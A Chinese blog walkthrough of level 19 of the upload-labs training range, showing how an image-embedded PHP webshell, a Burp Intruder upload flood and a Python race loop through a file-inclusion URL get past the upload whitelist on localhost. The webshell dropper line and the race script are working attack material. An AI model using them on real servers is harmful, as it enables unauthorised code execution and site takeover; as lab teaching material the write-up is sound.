Upload-Lab第19关:用图片马和条件竞争技巧,轻松应对上传限制!
简介
在upload-labs
的第19关中,攻击是通过上传图片马来实现的。与第18关相比,这一关增加了对文件后缀名的检测,禁止直接上传 PHP 文件。因此,你需要上传一个图片马,并使用文件包含漏洞来访问它。具体步骤与第18关类似。
这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径
不是放在upload文件夹下
,所以我们要进去修改一下第19关的代码文件
要改成如下图的样子并保存重启靶场
打开第19关,发现还是需要代码审计。那么再来看看源码吧。
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
require_once("./myupload.php");
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
$status_code = $u->upload(UPLOAD_PATH);
switch ($status_code) {
case 1:
$is_upload = true;
$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
break;
case 2:
$msg = '文件已经被上传,但没有重命名。';
break;
case -1:
$msg = '这个文件不能上传到服务器的临时文件存储目录。';
break;
case -2:
$msg = '上传失败,上传目录不可写。';
break;
case -3:
$msg = '上传失败,无法上传该类型文件。';
break;
case -4:
$msg = '上传失败,上传的文件过大。';
break;
case -5:
$msg = '上传失败,服务器已经存在相同名称文件。';
break;
case -6:
$msg = '文件无法上传,文件不能复制到目标目录。';
break;
default:
$msg = '未知错误!';
break;
}
}
从源码来看,服务器首先将文件后缀与白名单进行对比,然后检查文件的大小以及是否已存在。上传文件后,服务器还会对文件进行重命名。
因此,直接上传 PHP 文件是不可能的,只能上传图片马。而且需要在图片马被重命名之前进行访问。要让图片马成功执行,还需要结合其他漏洞,比如文件包含漏洞或 Apache 解析漏洞等。
攻击步骤
- 编写webshell脚本
这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。
<?php fputs(fopen('pass19.php','w'),'<?php @eval($_POST["pass"])?>');?>
- 生产图片马
- 上传图片马,用BP拦截(基本上在BP上的操作跟上面
第18关
没区别)
转到Intruder
工具栏,点击Clear$
,如下图所示:
接着设置无限发送空的Payloads
,如下图所示。来让它一直上传该文件。
最后建议这里把线程设置高一点。好像最后是20个线程,完成后, 如下图所示:
- 然后我们要修改一下
python
脚本,不能再用回第18关的脚本了,这里脚本要修改为文件包含来访问。
import requests
url = "http://localhost/include.php?file=upload/pass19.gif"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
- 接下来我们可以用BP进行攻击,点击
Start attack
开始攻击。并同时运行python
脚本。
当出现OK
说明访问到了该文件,那么pass19.php
应该也创建成功了,用蚁剑连一下试试。
这里注意一下蚁剑连接的URL
为http://localhost/upload/pass19.php
,如下图所示:
总结
在Upload-Lab
第19关中,结合图片马和条件竞争技巧可以绕过上传限制。攻击者首先上传一个合法图片,通过条件竞争在服务器验证图片后但处理完成前,将其替换为包含恶意代码的图片马,最终成功执行恶意代码,实现上传限制的突破。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 攻城狮小林
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果